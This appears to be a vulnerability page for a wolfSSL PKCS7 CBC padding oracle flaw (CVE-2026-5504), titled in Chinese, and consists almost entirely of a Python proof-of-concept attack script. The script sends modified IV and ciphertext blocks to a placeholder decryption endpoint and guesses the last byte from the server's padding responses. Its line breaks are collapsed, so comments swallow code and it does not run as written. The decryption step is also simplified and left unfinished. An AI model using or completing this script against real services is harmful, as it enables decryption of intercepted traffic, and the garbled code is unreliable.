CVE-2026-5504 wolfSSL PKCS7 CBC解密填充预言机漏洞

# Conceptual PoC for Padding Oracle Attack against wolfSSL (CVE-2026-5504) import requests import binascii # Target endpoint vulnerable to the padding oracle target_url = "https://example.com/api/decrypt" # Intercepted ciphertext (IV + Ciphertext) iv = b'\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f' ciphertext_block = b'\xaa\xbb\xcc\xdd\xee\xff\x00\x11\x22\x33\x44\x55\x66\x77\x88\x99' def padding_oracle(ciphertext): """ Sends the ciphertext to the server. Returns True if padding is valid, False otherwise. """ try: response = requests.post(target_url, json={"data": binascii.hexlify(ciphertext).decode()}) # Differentiate based on response content or status code # Example: 200 OK might mean valid padding, 400/500 or specific error msg means invalid if response.status_code == 200: return True elif "padding" in response.text.lower(): return False else: # Sometimes generic error still implies padding failure in this context return False except Exception as e: print(f"Error connecting to oracle: {e}") return False # Simulation of the attack logic to decrypt one byte print("[+] Starting Padding Oracle Attack Simulation...") # In a real attack, we would iterate 0x00 to 0xff to find the byte that produces valid padding # by manipulating the previous block (IV). for guess in range(256): # Modify the last byte of the IV to guess the plaintext byte modified_iv = bytearray(iv) modified_iv[-1] = (modified_iv[-1] ^ guess) # Simplified XOR logic for demonstration test_payload = bytes(modified_iv) + ciphertext_block if padding_oracle(test_payload): print(f"[+] Valid padding found with guess byte: {hex(guess)}") # Further logic would calculate the actual plaintext byte break else: print("[-] Could not determine byte using simple simulation.") print("[+] PoC execution completed.")